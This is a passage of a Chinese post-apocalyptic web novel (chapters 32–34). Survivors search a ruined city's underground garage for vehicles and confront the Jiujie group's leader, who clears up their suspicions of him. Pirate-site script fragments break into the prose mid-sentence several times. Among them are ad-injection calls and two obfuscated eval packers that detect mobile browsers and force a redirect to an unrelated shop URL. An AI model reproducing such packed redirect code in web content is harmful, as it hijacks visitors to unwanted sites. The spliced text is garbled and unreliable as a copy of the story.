难得有个地方能伸直腿睡觉,不出意外,第二天所有人都起晚了,睡到日上三竿才起床。 顾孟然无疑是最晚的那一个,睁眼一看时间已经十二点了,当他洗漱完换了身衣服重新从书房走出来,其他人早已坐在餐桌上享用起美味的午餐。 “起来了?来,刚吃上,你坐那。” 似乎知道顾孟然是这群人的主心骨,郑奕杰格外热情。见顾孟然从过道里走出来,他赶忙放下碗筷招呼顾孟然,顺势指向梁昭身旁的空位。 “哇,这么丰盛!”嗅着空气中复杂的饭菜香,顾孟然快步走向不算大,却快被美食堆满的餐桌。 鱼香茄子、梅菜扣肉、咖喱鸡、番茄炒蛋、紫菜蛋花汤……十多个不重样的菜,有荤有素,色香味俱全,跟昨天的两菜一稀饭相比,简直就是国宴! 顾孟然呆呆看着餐桌,艰难将目光转向郑奕杰,沉默了将近半分钟才指着餐桌缓缓开口:“不是,哪来的菜,哪来这么多肉?” 趁他睡觉出去找物资了? 也不对啊,持续高温,生鲜肉类早就化作一摊腐水。 “这你就不懂了吧。” 顾孟然疑惑之际,郑奕杰得意一笑,神秘兮兮道:“科技的进步就是帮助人类偷懒,我宣布,二十一世纪最伟大的发明诞生了,那就是——预制菜。” 预制菜?这个顾孟然听说过。 之前有段时间网上闹得很凶,称无良商家以次充好,用预制菜代替现炒打包外卖。 “我是因为懒才点外卖,没想到商家比我更懒。” 负面评价多过好评,顾孟然一直没在意这个东西,囤物资的时候压根没想起这一茬。 现在看着一桌子热菜,顾孟然不由感慨:伟大的发明。 至于卫不卫生,有没有营养……这都末世了! 见顾孟然皱着眉头许久不说话,郑奕杰真以为他担心健康问题,筷子一放忙不迭解释道:“我囤的都是大品牌预制菜,价格都不低,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是那些黑心小作坊做出来的,卫生问题不用担心,小孩也可以吃。” “我知道。我只是在想,当初我怎么没买上一些,这东西可真方便。”顾孟然笑着拉开椅子,坐在梁昭身旁。 郑奕杰一下子笑开了花,“是吧!我可是查了好多囤货攻略。冰箱里还有,我买了两个大冰箱放预制菜,我一个人可以吃很长一段时间。就是发电机功率不够,带两个冰箱就只能开开灯了,空调白装了。” 带得动也白装,这么热的天,普通空调外机放在室外,用不了多久指定报废。顾孟然笑了笑,没把这话说出来。 美味可口的饭菜令人心情愉悦,大概是许久没有吃到真正意义上的饭菜,八个小朋友蹲坐在拼接地垫上,围着茶几大口大口地吃饭。 两位老师时不时给他们夹菜、倒水,咀嚼声伴随孩童们的欢笑声,莫名有种在幼儿园里团建的感觉。 欢乐总是短暂的,添了碗米饭重新坐回座位,顾孟然看向埋头扒饭的郑奕杰,开口打破愉悦的氛围:“郑奕杰,你们小区的地下停车场还能进去吗?” “地下停车场?”郑奕杰咽下嘴里的食物,“我们小区是老小区,好些年头了,压根没有地下停车场。” 顾孟然夹了块咖喱鸡,“那商场、酒店之类的,没有完全坍塌的那种,附近有吗?” “有。”郑奕杰重重点下头,“今天你们要出去找车?我知道哪有地下停车场,就从我们小区出去,前面有个十字路口,沿着那个——” “等等等等,你不打算跟我一起去?”顾孟然问。 郑奕杰夹菜的手微微一顿,面露迟疑,“我、我……哎!好吧,其实我还没想好,要不要跟你们一起走。” “你不是想尽快离开吗?”孟高阳诧异地看了他一眼。 郑奕杰放下筷子,耷拉着脑袋,“是想尽快离开,但、但你们人太多了,我昨天晚上又想了一下,还是有点纠结。” 说得很委婉,其他人也听懂了他的意思。 一时间没人说话,魏千兰放下碗筷,抿了抿嘴唇看向郑奕杰,“你放心,我们不会拖后腿的。孩子们一路上都很乖,我们……” “我不是这个意思。”郑奕杰一脸尴尬。 你就是这个意思!顾孟然默默吐槽。 走不走全凭自愿,不能强人所难。 吃完最后一口饭,梁昭放下碗筷道:“那你再考虑考虑,给我们说说具体方位,吃完饭我们去找。” “我跟你们一块去。”默不做声的周琴忽然开口。 魏千兰赶忙举手:“我也去。” “那谁照顾孩子?我啊?”老爷子傻眼了。 顾孟然“扑哧”一下笑出声,“干什么呢这是,人都说了得小心行事,去这么多人生怕别人看不见?都留在这休息,我和梁昭去就行了。” “你们开了这么久的车,该休息的是你们。” “魏老师周老师,我们可不会带小孩,专业的事专业地来,这个累还是只有你们受着。” 情绪这种东西会传染,一群人相识不久的幸存者互相帮助,互相扶持,共渡难关,郑奕杰莫名眼眶一热,萌生出来的退意荡然无存。 找车而已!郑奕杰心一横牙一咬,“我带你们去!” 32.第 32 章 * 熟知环境的本地人带路,有目的地走,这趟找车之路不算太艰难。 热是真的热,出门不到半小时,三人就像是从水里捞出来的,衣服裤子全部被汗水濡湿,脸上头发,哪哪都是汗。 还没做出决定就出来带路,顾孟然对郑奕杰稍有改观。 见对方热得面红耳赤、大汗淋漓,也没有停下步伐,他也不再吝啬,从背包里“找出”一个崭新的挂脖风扇交给郑奕杰。 空气中热浪翻滚,大地好似火烤。顾孟然忽然递来一个挂脖风扇,郑奕杰眼睛都直了,赶忙伸手接过,三两下拆开包装挂在脖子上。 沁凉的微风吹拂脖颈,郑奕杰重新活了过来,长舒一口气,“爽啊!还是你们运气好,路上还能找到这些物资。我囤货的时候就顾着囤食物了,气温突然高起来才意识到不对劲,紧急在附近搜了一圈才找到两把救命的大风扇。” “有总比没有好。”残骸堆积成山,路格外难走,顾孟然专注脚下路面,随口敷衍了一句。 郑奕杰是个闲不住的主儿,安静不到两分钟再度开口:“感觉你们看到我的地堡一点都不惊讶,难道不应该奇怪吗?正常人谁会相信末世,谁又会囤这么多物资。” 顾孟然忽地一笑,“我们年轻,接受新鲜事物的能力强。” 而老人能轻松接受是因为——我们囤得比你更多。 不过这人确实很有先见之明,顾孟然凭借上辈子的记忆才提前为此做准备,郑奕杰却在网友们的只言片语中窥见了真相,并付诸行动。 发电机解决用电问题,后院水井解决用水问题,燃料有汽油、煤气罐,甚至囤了不少干柴。准备得相当充分,如果不是错估了天灾人祸,他确实可以在地下室独自生存很久。 当然,前提是耐得住寂寞。 还得有钱啊!顾孟然看着郑奕杰弱不禁风的背影,忽然有点好奇,这人以前做什么的?不上班还这么有钱。 挂脖风扇加快了赶路的速度,顾孟然和梁昭跟着郑奕杰“翻山越岭”,十分钟后,三人站在一片几乎看不出曾经是什么建筑的废墟跟前。 毫无疑问的豆腐渣工程,相比路上其他建筑物,眼前这片地连断壁残垣都算不上,完完全全的废墟,碎砖瓦砾堆积而成的垃圾场。 郑奕杰对这一片很熟悉,无需顾孟然开口,他轻车熟路地带着两人在废墟中穿行,不一会儿便找到一个单独的地下车库入口。 车库紧邻建筑,虽有幸未被掩埋,玻璃顶棚却被掉落下来的残骸砸得稀碎,整个框架摇摇欲坠,随时有可能坍塌。 防滑坡道堆着不少碎石、水泥块,走路进去不成问题,开车出来是个大问题。 来都来了,危险也要进去找一找。 三人用手挡住头顶,绕开可能会掉落碎石残骸,一鼓作气跑进地下停车场。 只是下了一个防滑坡道,气温瞬间下降好几度,阴冷潮湿的微风卷来凉意,轻而易举便驱走夏日的炎热。 凉快是凉快了,但是黑,感应灯没亮,地下车库宛如幽暗寂静的原始森林,无数未知潜伏在黑暗中,危险而神秘。 “啪!” 两把强光手电筒先后亮起,带路的人变成了顾孟然和梁昭,沿着通道慢步前行。 车没有预想中的多,不知是灾时开出去还是这地方生意不景气,空车位比汽车更多,一眼扫过去只有零零散散几辆车。 好在停车场足够大,他们沿着入口往右侧走,一路上还是看到不少车。可惜梦寐以求的大巴车一辆没有,半圈看下来基本是轿车、越野车。 顾孟然大致算了一下,他们十三个人,如果郑奕杰一起那就是十四个,一辆轿车五座,那至少需要三辆轿车。 三辆车就需要三个司机,嘶,根本没办法换着开。 一个礼拜都快给他开出腰肌劳损了,再这么下去不得腰椎间盘突出?顾孟然还是想多找几辆大巴车,雾淡了不需要探路,他和梁昭换着开,都能适当休息一下。 理想是丰满的,大巴车是不存在的。停车场都快找完了,除了小型车辆以外只找到两辆七座商务车、几辆破破烂烂的面包车,愣是没看到一辆大巴车。 “算了。” 四处乱晃的光线重新打在脚下,顾孟然抬眸与梁昭对视一眼,扬着下巴看向郑奕杰,“附近还有别的地下停车场吗?我们主要想找大巴车。” “有倒是有,”郑奕杰顿了一下,面露难色:“月岛公园那边还有一个大型地下停车场,地震之后我去过,但那边……和九街只隔了两条街。” 两条街?顾孟然犹豫了,刚想问问梁昭的意见,梁昭先他一步开口:“你带我去。” 过了几秒郑奕杰才意识到梁昭是在对他说话,他反应巨大,猛地后退一大步,一脸惊恐道:“什么叫我带你去,觉得危险所以不让他去?” 发现重点跑偏,郑奕杰将发散的思维拉回来,扭头对顾孟然说道:“真的别去那边,太危险了。刚那商务车你不是觉得还可以吗?就那两辆呗,你们十三个人两辆车刚好。” 十三个人两辆商务车确实刚好,但温度越来越高,开不了多久就会像之前一样,要么空调坏掉,要么爆胎。在不具备修车技术和修车工具的情况下,多备几辆车才是硬道理。 没办法和郑奕杰解释,顾孟然干巴巴地笑了两声,“离九街近就算了。那这样吧,你带梁昭在附近转一转,看还有没有别的,我再去看看那两辆商务车能不能开。” “不一起?”郑奕杰觉得奇怪,不由多看顾孟然两眼。 一起?车又开不出去,一起怎么把商务车打包带走? 顾孟然想好了借口,刚准备忽悠郑奕杰,忽然间,一阵凌乱的脚步声夹杂着粗犷男声蓦地从不远处传来。 “有人说话?真的假的,你TM不会热出幻觉了吧?” “你TM才热出幻觉了,老子刚刚都快走进地下室了,听得一清二楚!” “啧,那奇了怪了,老二不是说这一片的幸存者都带回去了吗?谁搁这儿偷懒呢?” “我哪知道,这不是叫你来看吗!” 脚步声由远至近,两个男人的交谈声无比清晰地传入地下室。 顾孟然呼吸一窒,回过神与梁昭同时熄灭手电筒。无需多言,三人闪身躲到旁边黑色轿车背后,悄无声息地融入黑暗中。 光线一暗,地下停车场回归无边无尽的黑暗,被强光手电遮住光芒的微 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 光缓缓亮起。他们刚才所处位置的前面十米,赫然是地库的另一个出入口。 两束光先后打进来,脚步声越来越近,两个身材健硕、牛高马大的男人健步如飞,骂骂咧咧地走进停车场。 两人没有第一时间往停车场里面走,拎着胳膊粗的钢管站在入口处,用手电筒乱扫,扯着嗓子高声呼喊: “谁在里面?出来,赶紧的!” “别东躲西藏跟个耗子似的,给老子滚出来!” 迟迟没等到回应,其中一个稍微矮一点的男人问身旁那人:“会不会不是我们的人?” 闻言,高个子大汉清了清嗓子,立马换了个说辞:“咳咳,我们是九街的,你们是这附近的幸存者吗?不要藏了,跟我们回防空洞!” 光束四下乱扫,三人躲在车后一动不动,大气都不敢出一声。尤其听到“九街”两个字,郑奕杰身体猛地一颤,肉眼可见地紧张起来。 脚步声再度响起,等不到回应的两人正在朝他们这个方向移动。一束光精准照进车位又很快挪走,顾孟然鼻尖渗出薄汗,垂在身侧的手不由自主抓住梁昭和郑奕杰的胳膊。 前者茫然不解,回看了顾孟然一眼,梁昭则立马反握住顾孟然的手,小幅度地摇了下头,那深沉的眼神仿佛在说:不要轻易暴露空间。 两人而已,确实不至于为此将空间暴露在外人面前。 能躲就躲,躲不过就打,打不过就跑! 顾孟然已经做好了打起来的准备,那两个男人却打着手电筒径直从车头走过,丝毫没有停下仔细寻找的意思。 紧绷的神经骤然放松,顾孟然长舒一口气,而就在这时,“叮铃铃叮铃铃”一串尖锐急促的手机铃声突然从身旁炸响。 “草,我的闹钟!” 郑奕平吓得一激灵,手忙脚乱地扒拉裤兜翻找手机。 铃声被幽寂的地下停车场无限放大,一声叠一声。不等郑奕杰掏出手机关停闹钟,两个壮汉闻声猛地看向黑色轿车,调转步伐飞快走来。 “跑!” 一声震耳欲聋的高呼炸响,手腕被人用力一拽,半蹲在地上的顾孟然愣是被梁昭用蛮力硬生生拽了起来。 强光手电“啪嗒”掉落在地,压根无人在意,没有半分迟疑,梁昭拉着顾孟然拔腿就跑。 而顾孟然另一只手还抓着郑奕杰,猛地起身差点将他拽倒在地。好在郑奕杰平衡能力还不错,撑着轿车及时稳住身形,跟着梁昭和顾孟然快速奔跑起来。 没有沟通没有交流,三人目标一致,前方不远处亮着微光的出入口。 玩命似的狂奔,顾孟然一心逃命并未留意身后,直到踏上防滑坡道,身后再无脚步声传来,他这才意识到,对方似乎没有打算追上来。 为什么又不追了?正当他疑惑之际,防滑坡道到了尽头,灰蒙蒙的天逐渐放大,一点一点呈现在眼前。 走出车库的那一瞬,顾孟然终于明白对方为何不追了。 不是来时的出口,不是来时的路,一片狼藉的废墟变成了一条干净整洁的道路。 碎石瓦砾堆在道旁,嗡嗡作响的挖掘机、搬抬石块的男人、清扫建筑残骸的女人,街道上三两扎堆,密密麻麻全是人。 33.第 33 章 * “跑啊,怎么不继续跑了?” 刚出狼窝又入虎穴,顾孟然与梁昭、郑奕杰站在地下停车场出入口,看着眼前人来人往的街道,神情不是一般的凝重。 街道上的人群瞬间石化,纷纷停下手中动作,一瞬不瞬地盯着他们。仿佛只要有一个人动手,其他人也会跟着一起冲上来。 与此同时,两名手持钢管的壮汉沿着防滑坡道走上来。 一高一矮两个男人长相凶悍,浑身腱子肉,拎着钢管耀武扬威,跟以前混迹大街小巷,收保护费的二五仔一模一样。 快到出入口时,高个子男人将手电筒抛给身旁那人,右手钢管反复敲打左手掌心,不紧不慢地走到三人身前。 阴冷的眼神如毒蛇一般,将三人挨个儿打量一遍,而后男人站在正中间,如占据主导的上位者,倨傲地扬着下巴,“哪来的?老实交代,鬼鬼祟祟地在底下干什么?” 九街被郑奕杰渲染得太过恐怖,顾孟然大脑飞速运转,竭力思考对策。而郑奕杰已经被吓傻了,哆哆嗦嗦盯着地面,一声不敢吭。 唯独梁昭一如既往地镇定,抬头与他身高差不多的壮汉对峙,漆黑的眸子蕴藏冷意,宛如一头蓄势待发的恶狼,下一秒就会扑上去。 三打二有一战之力,三打一群…… 算了,该怂还是得怂,众目睽睽之下使用空间更加行不通,顾孟然不动声色地捏了下梁昭的手,缓缓抬头对上壮汉的视线。 “我——” “我们只是乘凉。”梁昭抢在顾孟然之前开口,将男人的目光吸引到自己身上,随即解释道:“天太热了,我们无意路过这里,躲在车库乘凉而已。” “路过?”高个子大汉像是听到什么笑话,咧着嘴大笑两声,扬着下巴问梁昭:“不做亏心事,半夜不怕鬼敲门,只是路过乘凉,那你们跑什么?” 梁昭面色不改回答道:“不清楚你们是什么人,不敢贸然露面,听声音恶意很大。” “恶意?你TM在我的地盘鬼鬼祟祟,还说我们恶意大?找死是吧小子!”男人被梁昭一本正经地指控惹得恼羞成怒,手中钢管高高举起。 虽然没有真动手,顾孟然还是被吓了一跳,赶忙拽着梁昭后退半步,面向男人好声好气解释道:“大哥大哥,不是恶意,我们是被吓到了,当时没敢出来。” 如果确如郑奕杰所说,这群人蛮不讲理,无恶不作,那说再多也是无用功。但在他们插翅难飞的情况下,这群人并没有将他们直接抓走,反倒不断追问他们的意图…… 顾孟然隐约猜到点什么,不等男人继续追问,简单明了地道明情况:“大哥,我们不是山城人,我们是从临淮过来的。本以为山城地震没那么严重,想着过来避一避,结果……哎,都一样。” “天越来越热,我们没办法,没地方去,就想着找辆车继续往别的城市走。但你也知道,路面上的车都开不了,所以我们才到处找地下停车场。” 语气真挚,态度诚恳,真假参半的话找不出任何破绽。 男人闻言放下高高举起的钢管,火气也慢慢降了下去,挑眉看了顾孟然几秒钟,又问:“临淮,这么远你们是怎么过来的?什么时候来的?就你们三个人?” “还有一个老人。”顾孟然“如实”回答:“我们昨天开大巴车过来的,车爆胎了,丢在进城的路上,现在去找还能找得到。” 这句话似乎彻底打消了男人的疑虑,他随手将钢管夹在腋下,以审视的目光将三人打量一遍,掏出别在腰间的对讲机。 “老大老大,假日酒店B出口这边发现三个外地人。” 对方回应得很快,男人并未遮掩,浑厚沙哑的男声从对讲机里传来:“等着,我马上过来。” 话落,壮汉扭头看向街道上的男男女女,大手一挥振声道:“别傻愣着看热闹,继续干活!” 被按下暂停键的街道重新动了起来,人们顶着高温继续清理街道。抬石块扫残渣,分工明确,配合默契,怎么看都是一幅岁月静好的景象,没一个人表现出不情愿。 顾孟然越看越不对劲,怎么跟郑奕杰说得不太一样呢? 对方虽有防备算不上友善,一言不合举钢管,多少有点暴躁老哥的感觉。但对方始终没有真正动手,好像不是不能讲道理? 没等顾孟然理清思绪,一阵“嗡嗡”的噪音忽然响起。众人抬头一看,一辆小型挖掘机以极快的速度从左/前方街道开过来,而后一个紧急刹车,稳稳停在车库入口前。 “老大,老大过来了!” “老大吃饭了没?” “又找一辆新挖掘机?” …… 车刚刚停稳,街上人群瞬间躁动起来,可谓是放声高呼,夹道欢迎。 数十眼睛的注视下,挖掘机停稳,玻璃车门缓缓推开,一个膀大腰圆、满身文身的花臂彪形大汉从驾驶室里走出来。 人字拖、老头背心,男人穿着随意,面容刚毅,浑身上下散发着一股不好惹的凶悍之气,一看就不是善茬。 他没有第一时间下车,站在车门口环视一圈,扯着大嗓门怒吼一声:“瞅啥,都不用干活的是不是?干瞅着有饭吃?” 围观群众丝毫没有被训的自觉,嘻嘻哈哈一阵乐,然后才分散开来继续干活。 “砰!” 大汉纵身一跃,从一米多高的挖掘机上跳下来,稳稳当当落在地面。人字拖似乎有些坏了,他下车后低头瞅了一眼脚后跟,趿拉着拖鞋慢步走到三人身前。 “就你们?从哪来的?” 照例将三人打量一遍,来人将目光锁定在哆哆嗦嗦的郑奕杰身上。那眼神自带威慑力,随意这么一瞅,郑奕杰抖如筛糠。 顾孟然嘴唇微张,刚想回答他的问题,花臂大佬下巴一扬,对郑奕杰说道:“你,你来回答。” “我?”郑奕杰吓得一激灵,拼命回想顾孟然说过的话,过了好半天才支支吾吾道:“临、临淮。” “临淮?巧了嘛这不是!” 花臂大哥哈哈一笑,伸手拍了拍郑奕杰的肩膀,“那咱们算半个老乡,我媳妇也是临淮人。你临淮哪的?说不定我媳妇还认识你们呢。” 男人脸上带笑,语气温和,搭在郑奕杰肩膀上的手却不断收紧。 骨头都快被捏碎了,郑奕杰回答不上来。他不敢随便撒谎,又根本没去过临淮,咬着后槽牙将目光转向顾孟然。 “滨江路花园小区。”顾孟然替郑奕杰回答道。 他在赌,赌这位大哥的老婆不是临淮人。 就算赌错了,重名率极高的地名、小区名,临淮大概率也有。 但这老哥不按套路出牌,他看都不看顾孟然一眼,抬手轻拍郑奕杰的脸,俯身凑近,“自己住哪都不知道,看别人做什么?问你话呢,听不见还是哑巴了?” 伤害不强侮辱性极大,郑奕杰再也忍不住了,不知哪来的牛劲,双手猛地一撑直接把老哥推了个踉跄,梗着脖子大吼道:“想干什么直说行不行?兜什么圈子绕什么弯子?不知道有句话叫杀生不虐生吗?!” 这一嗓子吼出来,旁边两个壮汉立马举起钢管。 稳住身形的老大赶忙摆手示意,看着郑奕杰哈哈大笑,“哈哈哈……杀生不虐生,你小子说话还挺有水平!好了好了,我认真问,你们认真答,不许说谎!” 花臂大哥清了清嗓子,跟查户口似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13931701|146651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一连问了十多个问题。 从哪来到哪去,路上情况怎么样,有没有看到救援…… 对方似乎终于肯相信他们是外地人,但顾孟然一开口,圆之前的话说出临淮两个字,花臂大哥瞬间冷脸,一脸严肃地看着他。 “你的口音确实不像本地人,但绝对不是临淮人。” 好吧,看来大哥老婆真是临淮人。 来自哪里确实没有说谎的必要,顾孟然认真思索后,选择坦诚相告。 只是隐瞒了老师、小朋友,风翼号,以及他们一家是在韶洲那边旅游遇上了地震的。嗯……这还算坦诚吗? 搞不清楚对方到底想做什么,顾孟然只能一半假话一半真话,路上情况与周遭城市的惨况他倒是没隐瞒,逐一告知大哥。 花臂大哥听完沉默了许久,眉心紧紧拧着,似乎在为这个摇摇欲坠的世界担忧。 但他很快整理好情绪,捏着下巴重新抬头看向顾孟然,“既然情况这么糟,你们为什么不找个地方安顿下来,不远千里跑去宜南做什么?” 为了脱身,顾孟然只能继续说谎:“我父母在宜南。” “哦,那难怪。” 说完,花臂大哥不着痕迹地朝旁边使了个眼色,两名大汉旋即将钢管收起来,转身加入清理街道的队伍。 这是什么意思?放过他们了? 顾孟然还在猜测对方的用意,花臂大哥转头看向他们,略显歉意地笑了笑,“抱歉,最近城南那伙人在跟我们抢食品加工厂的物资,经常往我们这边跑,跟耗子似的到处捣乱。我还以为你们也是那边的人,所以态度恶劣了一点。” “不过话说在前头,城北这一片是我们九街的地盘,你们不能在这到处乱逛,随便收集物资。我们还有很多张嘴等着吃饭,资源紧缺得很。 看你们初来乍到,实在没地方住可以跟我们回去住几天,但仅限几天,到时候你们离开的话,我可以给你提供车,提供少量的食物,前提是你们要答应我一个要求。” 事情发展到这已经完全不在意料中,顾孟然先入为主对九街始终心存怀疑,哪怕对方开出还算诱人的条件,他也没敢轻易接茬。 花臂大哥故意停顿了一下,等着人来追问。 可他等啊等,没一个人搭理他,他自觉无趣地瘪了瘪嘴,继续道:“你们不是去宜南嘛,路上碰到救援或军方人员麻烦帮我们说一声,山城还有很多人,不要忘了我们。” 这下不光是顾孟然,郑奕杰也开始怀疑自己了,对方主动道歉还提供帮助?就提了这么一个不算要求的要求? 难道九街的老大换人了? 郑奕杰一脸震惊,试探着问道:“你是九街的刚哥?” 刚哥并不奇怪郑奕杰认识他,笑吟吟地冲他挑了下眉,“不错,我是九街的王刚。想通了?不和他们一起装外地人了?” “你怎么知道我——”郑奕杰难以置信地看着他,说到一半的话拐了个弯,突然气急败坏:“你到底想干什么!别耍我们了行不行?” 刚被他说得一头雾水,“怎么了我?误会你们了给你们道个歉,咋就耍你了?” 郑奕杰这人很奇葩,一怂怂到底,一刚刚到底。 刚哥的话就像耳旁风似的,他恍若未闻,垮着脸直接回怼:“少在这猫哭耗子假慈悲,你以为你做那些事别人不知道吗?我们不去九街也不需要你们的帮助,让我们离开!” 刚哥彻底蒙圈了,眉头死死拧着,眼睛瞪如铜铃,好像下一秒就要冲上前给郑奕杰两拳。 但几秒过后,体格壮硕、长相凶悍的彪形大汉呆呆看着郑奕杰,脸上竟浮现出一抹委屈,“你给我说清楚!我干啥了我!?” 34.第 34 章 * “你给我说清楚!我干啥了我!” “你干啥了你自己清楚,还需要来问我?!” “MMP,你龟儿子皮痒嗦?来,老子给你挠一哈。” “看看看,没说两句就原形毕露!装锤子装。” …… 从普通话吵到山城方言,两人梗着脖子争得面红耳赤。 街道上干活的男男女女听到动静就像听八卦一样,时而伸长脖子看一眼,嘀嘀咕咕地调侃,没一个人上前来帮忙,包括先前离开的两名壮汉。 顾孟然再迟钝也意识到这件事存在着误会,他们在停车场入口站了一会儿便满头大汗,更别说街道上干活的人。 可那些人从头到尾都没有表现出不情愿,他们无惧炎热积极参与灾后重建,哪怕是汗流浃背。他们累得心甘情愿,于苦难中寻一线希望,绝无半点强迫的痕迹。 而郑奕杰也没有说谎,他对刚哥的态度就能说明一切。 所以……哪个环节出错了呢?顾孟然百思不得其解。 只顾着争论没一个人说到重点,站在一旁观战的顾孟然都快热死了。汗水顺着额头往下掉,顾孟然揉了揉轻微刺痛的眼睛,从背包里摸出一小包餐巾纸。 梁昭一张他一张,两人各自擦了擦脸上的汗。 看着还在做无谓争执的刚哥和郑奕杰,顾孟然重新抽出两张干净纸递给他们,顺势打了个岔:“我觉得你们双方信息不对等,所以造成了误会,想解决问题应该心平气和地聊一聊。” 话音刚落,两人顿时收声,纷纷接过纸巾擦汗。 不是因为顾孟然说得多有道理,本就不想吵了,找个台阶下而已。 用纸巾胡乱抹了把脸,刚哥呼出一口热气,重新看向郑奕杰,“你那意思是我干了什么丧尽天良的事?咱不吵了,你跟我好好说说,我到底干啥了。” 刚哥冷着脸往那一站,横眉竖目,压迫感十足。但此时此刻,他眼底没有愤怒也没有不满,只有解不开的疑惑。 郑奕杰擦完汗将纸巾攥在掌心,思考该怎么接话。 他当然不敢真正惹恼刚哥,但又不想让顾孟然他们面前丢了面子,于是脸一撇,下巴一抬,“你先说,你为什么会知道我是本地人?” “你小子!”刚哥嗤笑一声,好脾气地回答道:“跟在我们屁股后边好几回了吧?你能跟我们,我们不能跟你?我不仅知道你是本地人,我还知道你住在翡翠城!” 郑奕杰瞳孔骤然缩紧,像被雷劈傻了,呆呆愣在原地。 不等他开口,刚哥笑着补充道:“你以为你住的地方很隐蔽?一个小区就一栋房子没塌,真当我们瞎啊?还不是我提前打了招呼,让人不要去翡翠城瞎转悠。” “为、为什么?”郑奕杰惊呆了,方才的气势荡然无存,整个人肉眼可见地蔫儿了下去,声音变得格外沙哑。 “为什么?”刚哥眉头一皱,“这哪有为什么?” “世道乱了,我们聚集在九街是为了更好地生存下去,毕竟人多力量大。这场灾难对所有人来说都是毁灭性的打击,大家齐心协力才能共渡难关。 当然,这只是我们的想法,也有人和你一样,你们有本事自己活下去,不需要跟着大部分。我们理解尊重,会给你们留一定的生存空间,比如你家小区周围,我们从来不去那边搜集物资,因为那里的物资属于你。” “嗡”,郑奕杰脑袋瞬间一片空白。 “尊重理解?不,不可能!”郑奕杰瞪大眼睛看着刚哥,声音骤然拔高好几个度,“前不久某天晚上,你们的人强迫一个女人跟你们回去,她不愿意去!她一直哭喊一直挣扎,三四个男人硬生生把她抬走的!” 强迫、抬走…… 顾孟然捕捉到话语里的关键词,不自觉地皱了下眉。 本以为刚哥会立马为自己辩解,不料他闻言先是一愣,旋即“扑哧”一下笑出声。他笑得很夸张,捂着肚子笑得前俯后仰,根本停不下来。 “哈哈哈哈……我的妈呀,强迫!哈哈哈哈……” 郑奕杰真的生气了,脸黑得跟锅底似的。 爽朗的笑声持续了近两分钟,刚哥强忍笑意,捂着肚子重新站直身体,连连摆手示意:“不好意思,确实哈哈哈……确实忍不住。稍等,稍等我一下。” 说完他扭头望向街道,扯着嗓子大喊一声:“高月,高月你过来一下!” 呼喊声在街道漾开,忙忙碌碌的人群中,一个穿着蓝色T恤、扎着丸子头的年轻女人放下手中工具,迎着刚哥快步走来。 灰尘与汗水融合,高月的手臂、脖子黑黢黢的,像是在泥地里打了个滚。但她毫不在意,随意用手臂蹭了蹭脸上的汗,气喘吁吁地走到刚哥身旁,“咋了刚哥?” “那啥,”刚哥笑意收敛,十分难为情地摸了摸鼻头,扭头对高月说道:“那天晚上接你回去被这个小伙看见了,他还以为你不愿意跟我们回去,我们强迫你呢。” 循着刚哥的视线看向郑奕杰,高月瞪大了眼睛,赶忙摆摆手,“不是,没有强迫我,你误会了。” 郑奕杰完全不相信,目光游离在刚哥与高月之间,那警惕的眼神仿佛在问:刚哥威胁你了? “谢谢你的关心,但事情真不是你看到的那样。”高月与郑奕杰点了下头,唇边扯出一抹无奈的苦笑,“我们家房子在地震中倒塌,我爸被埋在了废墟底下,找了很多天一直没有找到,我不相信他死了,所以不愿意离开。 前段时间我不吃不喝在废墟中翻找,情绪一度崩溃,是我姐姐找到刚哥他们,让他们强行把我带回去。这些天他们一直劝我,开解我,让我从失去亲人的悲痛中走出来。” 好不容易遗忘的伤痛再被提及,高月说着说着眼眶渐渐红了。她自知失态,伸手胡乱在脸上抹了两把,背过身道:“你们千万不要误会,刚哥他们真的是很好的人。” 把人叫过来又惹哭了,五大三粗的刚哥完全没料到,他呆呆愣了几秒,诚恳致歉:“抱歉啊高月,我——” “没事,没事的刚哥,我已经想通了。”不等刚哥安慰,高月耸了耸肩膀,轻叹一口气,“既然误会解除了,那我继续干活去。” “喝点水歇一歇!” 高月大步离开,再没有回头看一眼。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13938782|146651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哎!”待人走远,刚哥长叹一口气,皱着眉头瞪郑奕杰,“看你干的好事,把人家小姑娘都惹哭了!” 如果是之前,郑奕杰肯定立马反驳“不是你把人叫过来的吗”,但这会儿,他已经陷入了深深的自我怀疑,任凭刚哥甩锅,愣是一声不吭。 刚哥没再嘲讽他,自顾自地说道:“所以因为这件事,你把我们当成地痞流氓了?我王刚虽然是个没文化的粗人,但这种事情我绝对不会干,也绝不会容忍其他人干。” “还有一次。” 郑奕杰的声音一下子小了很多,没什么底气道:“之前我还看到几个人准备离开九街,结果被你们抓回来了,你们给人家哐哐一顿揍,揍得半死,这又怎么解释?” 刚哥诧异地看了他一眼,“怎么啥事都让你给碰上了?你小子到底偷偷摸摸跟了我们多久?是,人确实是我们抓的,我们揍的,这个我认,但那群小子可不是什么好鸟!” “妈的,说起来就来气,他们其中一个还是我亲手在废墟里救出来的,结果呢?伤好了之后跟一群不学无术的垃圾混在一起,偷物资,半夜偷偷去调戏人家小姑娘!” 